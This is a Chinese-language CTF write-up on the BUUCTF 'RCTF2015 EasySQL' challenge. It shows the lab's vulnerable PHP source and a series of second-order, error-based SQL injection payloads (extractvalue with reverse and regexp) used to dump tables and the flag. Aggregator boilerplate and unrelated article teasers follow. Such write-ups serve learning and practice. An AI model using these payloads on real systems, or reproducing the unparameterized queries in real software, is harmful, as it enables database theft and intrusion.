60,【1】BUUCF web [RCTF2015]EasySQL1

先查看源码

1,changepwd(修改密码)

<?php
// 开启会话,以便使用会话变量
session_start();

// 设置页面的内容类型为 HTML 并使用 UTF-8 编码
header("Content-Type: text/html; charset=UTF-8");


// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';

// 输出一个表单,用于用户输入旧密码和新密码
echo '<form action="" method="post"><p>oldpass: <input type="text" name="oldpass" /></p><p>newpass: <input type="text" name="newpass" /></p><input type="submit" value="Submit" /></form>';

// 检查是否提交了旧密码和新密码
if (isset($_POST['oldpass']) && isset($_POST['newpass'])) {
    // 将用户输入的旧密码进行 MD5 哈希处理
    $oldpass = md5($_POST['oldpass']);
    // 将用户输入的新密码进行 MD5 哈希处理
    $newpass = md5($_POST['newpass']);
    // 获取当前登录用户的用户名,存储在会话中
    $username = $_SESSION['username'];
    // 构建 SQL 语句,用于更新用户的密码,使用用户输入的旧密码验证用户身份
    $sql = "update users set pwd='$newpass' where name=\"$username\" and pwd='$oldpass'";
    // var_dump($sql);
    // 执行 SQL 查询
    $query = mysql_query($sql);
    // 检查查询是否成功执行
    if ($query) {
        // 如果查询成功,退出脚本,可根据需要修改为更有意义的操作,如显示成功消息
        exit('');
    } else {
        // 如果查询失败,输出 MySQL 错误信息并终止脚本
        die(mysql_error());
    }
}
?>

此文件表明会对输入的用户名和密码进行MD5哈希处理

所以数据库中存储的是MD5哈希值

查询成功,此文件执行结束,如果失败,会输出MySQL错误信息

好像是报错注入

2,config(配置文件)

<?php
// 定义数据库主机地址和端口号
$dbhost = 'localhost:3306';
// 定义数据库用户名
$dbuser = 'root';
// 定义数据库密码,这里是空密码
$dbpass = '';
// 使用 mysql_connect 函数尝试连接到数据库服务器,传递主机、用户名和密码作为参数
$conn = mysql_connect($dbhost, $dbuser, $dbpass);


// 选择要使用的数据库,这里选择的是名为 'web_sqli' 的数据库
mysql_select_db('web_sqli');
// 设置字符集为 utf8,确保数据库操作使用 utf8 编码,避免乱码问题
mysql_query('set NAMES utf8');


// 检查是否开启了魔术引号,如果没有开启,则对 POST 和 GET 数据进行转义处理
if (!get_magic_quotes_gpc()) {
    // 遍历 POST 数据,对其中的每个元素进行转义处理
    foreach ($_POST as $key => $value) {
        // 使用 addslashes 函数对值进行转义,防止 SQL 注入
        $_POST[$key] = addslashes($value);
    }
    // 遍历 GET 数据,对其中的每个元素进行转义处理
    foreach ($_GET as $key => $value) {
        // 使用 addslashes 函数对值进行转义,防止 SQL 注入
        $_GET[$key] = addslashes($value);
    }
}
?>

此文件表明数据库用户名为root,密码是空密码

并且检查是否开启了魔术引号,未开启时对post,get数据进行转义处理

3,index(默认首页文件)

<?php
// 开始一个新的会话或继续已有的会话
session_start();

// 设置 HTTP 响应头,指定内容类型为 text/html 且字符编码为 UTF-8
header("Content-Type: text/html; charset=UTF-8");

// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';

// 检查是否已经设置了会话中的用户名,这通常表示用户已经登录
if (isset($_SESSION['username'])) {
    // 输出欢迎信息,并显示用户的名字作为一个链接,指向 user.php 页面
    echo "Hi,<a href='user.php'>".$_SESSION['username']."</a>";
    // 输出一个无序列表的开始标签
    echo "<ul>";
    // 输出列表项,链接到 index.php 并传递不同的 title 参数
    echo "<li><a href='index.php?title=lcsg'>良辰诗歌</a></li>";
    echo "<li><a href='index.php?title=wyzb'>网友装逼</a></li>";
    echo "<li><a href='index.php?title=zrtbf'>赵日天不服</a></li>";
    // 输出无序列表的结束标签
    echo "</ul>";

    // 检查是否从 GET 请求中接收到了 title 参数
    if (isset($_GET['title'])) {
        // 获取 GET 请求中的 title 参数的值
        $title = $_GET['title'];
        // 构建一个 SQL 查询语句,根据 title 从 article 表中查询数据
        $sql = "select * from article where title='$title'";
        // 执行 SQL 查询
        $query = mysql_query($sql);
        // 检查查询是否成功执行
        if ($query) {
            // 获取查询结果的一行数据作为关联数组
            $row = mysql_fetch_array($query);
            // 输出查询结果中 content 列的数据
            echo $row['content'];
        }
    }
} else {
    // 如果用户没有登录,输出匿名用户的欢迎信息
    echo "Hi,Anonymous<br>";
    // 输出登录页面的链接
    echo "<a href='./login.php'>LOGIN</a><br>";
    // 输出注册页面的链接
    echo "<a href='./register.php'>REGISTER</a><br>";
}
?>

4,login(登录)

<?php
// 开始一个新的会话或继续已有的会话
session_start();

// 设置 HTTP 响应头,指定内容类型为 text/html 并使用 UTF-8 编码
header("Content-Type: text/html; charset=UTF-8");

// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';

// 输出一个 HTML 表单,用户可以在其中输入用户名和密码,表单提交到 login.php 页面,使用 POST 方法
echo '<form action="login.php" method="post"><p>username: <input type="text" name="username" /></p><p>password: <input type="text" name="password" /></p><input type="submit" value="Submit" /></form>';


// 检查是否通过 POST 方法提交了用户名和密码
if (isset($_POST['username']) && isset($_POST['password'])) {
    // 获取用户输入的用户名
    $username = $_POST['username'];
    // 使用 MD5 对用户输入的密码进行哈希处理(这种方式已不安全,建议使用 password_hash 函数)
    $password = md5($_POST['password']);
    // 构建 SQL 查询语句,用于从 users 表中查找匹配的用户名和密码
    $sql = "SELECT * FROM users WHERE name = '$username' and pwd = '$password'";
    // 执行 SQL 查询
    $query = mysql_query($sql);
    // 检查查询结果是否正好有一行(即找到一个匹配的用户)
    if (mysql_num_rows($query) == 1) {
        // 获取查询结果的一行数据
        $row = mysql_fetch_array($query);
        // 将用户名存储在会话中,用于后续页面判断用户是否已登录
        $_SESSION['username'] = $row['name'];
        // 重定向到 index.php 页面
        header('Location: index.php');
        // 终止脚本执行
        die();
    } else {
        // 如果未找到匹配用户,输出登录错误信息并终止脚本
        die('<br>login error');
    }
}
?>

看完这个源码后就看不到了

只能先进靶场了

进入靶场

尝试输入

无效字符串

不管输啥都说无效字符串,,,,,,

后来发现好像是Email出了问题

知道了一个用户名(猜测可以通过新注册一个账号来更改admin账户的密码)

以此来注册一个账号

登录

看到此页面

点击admin#后发现可以更改密码

那就先把admin账号的密码改了

改成123

登录看看

好打脸啊

一开始输admin'说无效字符串后就没输过'了

补上再输一遍

还是错的????????????????????

试试  "

好吧,也是对了,以后菜就多试

先都点进去看看

so,我是什么很贱的人吗,给我看这个

不过通过以上操作,得知存在二次注入

根据源码知道它会报错

而且一开始的操作知道它会过滤

50.【8】BUUCTF WEB HardSql-CSDN博客

参考这篇博客的语句

1,查询库名

admin"^extractvalue(1,concat(0x7e,(select(database()))))#

(#是以get方式提交时使用的,-- -和-- +是以post方式提交时使用的,%23在url处使用)

2,查询表名

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('~web_sqli'))))#

???

尝试了一下,是把like过滤了

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='~web_sqli')))#

空白???

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='~web_sqli')))#

还是空白?????????

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))#

把库名带进去就报不出来,那我求库名的操作算什么????

算我。。

3,查询字段名

admin"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

4,查询字段内容

admin"^extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

admin"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#
 

语义未尽

用right让后面的爆出来

admin"^extractvalue(1,right(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),32))#

要不我还是去四八(好不容易把括号一组一组对上)

他把right过滤了

admin"^extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

终于终于

admin"^extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#

???还好还好,快结束了

下午学姐刚好讲了正则表达式

admin"^extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

admin"^extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

手动拼一下

flag{090f0996-0d57-4a30-b0d9-92675185411f}

over

笔记

1,该用字典还得用字典

2,extractvalue

3,空格被过滤的题目第一遍就认真注意()的个数,千万别再多一个少一个了


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/958409.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Chrome插件:图片缩放为头像(128*128)

前置条件&#xff1a; 安装有chrome谷歌浏览器的电脑 使用步骤&#xff1a; 1.打开chrome扩展插件 2.点击管理扩展程序 3.加载已解压的扩展程序 4.选择对应文件夹 5.成功后会出现一个扩展小程序 6.点击对应小程序 7.使用小程序 8.拖拽成功后会自动保存到下载 代码&#xf…

machine learning knn算法之使用KNN对鸢尾花数据集进行分类

通过导入必要的scikit-learn导入必要的库&#xff0c;加载给定的数据&#xff0c;划分测试集和训练集之后训练预测和评估即可 具体代码如下&#xff1a; import numpy as np from sklearn.datasets import load_iris from sklearn.model_selection import train_test_split f…

电子应用设计方案102:智能家庭AI鱼缸系统设计

智能家庭 AI 鱼缸系统设计 一、引言 智能家庭 AI 鱼缸系统旨在为鱼类提供一个健康、舒适的生活环境&#xff0c;同时为用户提供便捷的管理和观赏体验。 二、系统概述 1. 系统目标 - 自动维持水质稳定&#xff0c;包括水温、酸碱度、硬度和溶氧量等关键指标。 - 智能投食&…

【C语言系列】深入理解指针(3)

深入理解指针&#xff08;3&#xff09; 一、字符指针变量二、数组指针变量2.1数组指针变量是什么&#xff1f;2.2数组指针变量怎么初始化&#xff1f; 三、二维数组传参的本质四、函数指针变量4.1函数指针变量的创建4.2函数指针变量的使用4.3两段有趣的代码4.4 typedef关键字 …

2024年度总结-CSDN

2024年CSDN年度总结 Author&#xff1a;OnceDay Date&#xff1a;2025年1月21日 一位热衷于Linux学习和开发的菜鸟&#xff0c;试图谱写一场冒险之旅&#xff0c;也许终点只是一场白日梦… 漫漫长路&#xff0c;有人对你微笑过嘛… 文章目录 2024年CSDN年度总结1. 整体回顾2…

Linux下php8安装phpredis扩展的方法

Linux下php8安装phpredis扩展的方法 下载redis扩展执行安装编辑php.ini文件重启php-fpmphpinfo 查看 下载redis扩展 前提是已经安装好redis服务了 php-redis下载地址 https://github.com/phpredis/phpredis 执行命令 git clone https://github.com/phpredis/phpredis.git执行…

我的2024年度历程回顾

一、自我介绍 这个是我的 个人主页 &#xff1a; zxctscl 从2023年到现在一些小成就 我主要分享的文章是C语言和C方面&#xff1a; 当然也有不少算法题&#xff1a; 二、年度回顾 在过去的一年里&#xff0c;也有不少收获&#xff1a; 在C编程语言的学习方面取得了显著…

AIGC专栏18——EasyAnimateV5.1版本详解 应用Qwen2 VL作为文本编码器,支持轨迹控制与相机镜头控制

AIGC专栏18——EasyAnimateV5.1版本详解 应用Qwen2 VL作为文本编码器&#xff0c;支持轨迹控制与相机镜头控制 学习前言相关地址汇总源码下载地址HF测试链接MS测试链接 测试效果Image to VideoText to Video轨迹控制镜头控制 EasyAnimate详解技术储备Qwen2 VLStable Diffusion …

YOLOv8改进,YOLOv8检测头融合DSConv(动态蛇形卷积),并添加小目标检测层(四头检测),适合目标检测、分割等

精确分割拓扑管状结构例如血管和道路,对各个领域至关重要,可确保下游任务的准确性和效率。然而,许多因素使任务变得复杂,包括细小脆弱的局部结构和复杂多变的全局形态。在这项工作中,注意到管状结构的特殊特征,并利用这一知识来引导 DSCNet 在三个阶段同时增强感知:特征…

U3D的.Net学习

Mono&#xff1a;这是 Unity 最初采用的方式&#xff0c;它将 C# 代码编译为中间语言 (IL)&#xff0c;然后在目标平台上使用虚拟机 (VM) 将其转换为本地机器码执行。 IL2CPP&#xff1a;这是一种较新的方法&#xff0c;它会将 C# 代码先编译为 C 代码&#xff0c;再由 C 编译器…

【MySQL】 库的操作

欢迎拜访&#xff1a;雾里看山-CSDN博客 本篇主题&#xff1a;【MySQL】 库的操作 发布时间&#xff1a;2025.1.23 隶属专栏&#xff1a;MySQL 目录 库的创建语法使用 编码规则认识编码集查看数据库默认的编码集和校验集查看数据库支持的编码集和校验集指定编码创建数据库验证不…

【随手笔记】FFT资料整理

&#xff08;一&#xff09;结果验证 函数波形示例1 #define Fs 44800 #define NPT 256 void InitBufInArray() {int i 0;float fx 0;for(i0; i<NPT; i){// fx 1500 * sin(2*PI * i * 350.0 / Fs) // 2700 * sin(2*PI * i * 8400.0 / Fs) // 4000 * sin(2*P…

Spark Streaming编程基础

文章目录 1. 流式词频统计1.1 Spark Streaming编程步骤1.2 流式词频统计项目1.2.1 创建项目1.2.2 添加项目依赖1.2.3 修改源目录1.2.4 添加scala-sdk库1.2.5 创建日志属性文件 1.3 创建词频统计对象1.4 利用nc发送数据1.5 启动应用&#xff0c;查看结果 2. 编程模型的基本概念3…

R语言学习笔记之开发环境配置

一、概要 整个安装过程及遇到的问题记录 操作步骤备注&#xff08;包含遇到的问题&#xff09;1下载安装R语言2下载安装RStudio3离线安装pacman提示需要安装Rtools4安装Rtoolspacman、tidyfst均离线安装完成5加载tidyfst报错 提示需要安装依赖&#xff0c;试错逐步下载并安装…

【29】Word:李楠-学术期刊❗

目录 题目​ NO1.2.3.4.5 NO6.7.8 NO9.10.11 NO12.13.14.15 NO16 题目 NO1.2.3.4.5 另存为手动/F12Fn光标来到开头位置处→插入→封面→选择花丝→根据样例图片&#xff0c;对应位置填入对应文字 (手动调整即可&#xff09;复制样式&#xff1a;开始→样式对话框→管理…

【Prometheus】Prometheus如何监控Haproxy

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

s/jwt-decode.js?v=534c014e‘ vue3引入jwt-decode报错

安装 cnpm install jwt-js-decode 导入 import { jwtDecode } from jwt-js-decode; 使用 const decode jwtDecode(user_token)

使用LabVIEW的History功能实现队列数据的读取而不清空

在LabVIEW中&#xff0c;有多种方法可以读取队列中的数据而不清空它。使用 Dequeue Element 和 Enqueue Element 函数可以实现读取并重新插入数据回队列&#xff0c;但当需要处理大数据流或需要更动态的解决方案时&#xff0c;这种方法可能会变得繁琐。一个更高效的解决方案是利…

【Redis】Redis入门以及什么是分布式系统{Redis引入+分布式系统介绍}

文章目录 介绍redis的引入 分布式系统单机架构应用服务和数据库服务分离【负载均衡】引入更多的应用服务器节点 单机架构 分布式是什么 数据库分离和负载均衡 理解负载均衡 数据库读写分离 引入缓存 数据库分库分表 引入微服务 介绍 The open source, in-memory data store us…

线上内存泄漏排查思路

“内存泄漏”是开发者最害怕的问题之一&#xff0c;尤其是在高并发、高负载的线上环境中。它往往不易察觉&#xff0c;却能悄悄吞噬系统的性能&#xff0c;最终导致应用崩溃或响应变慢。你是否曾在项目上线后遇到过性能下降或宕机的问题&#xff0c;而问题根源竟然是内存泄漏&a…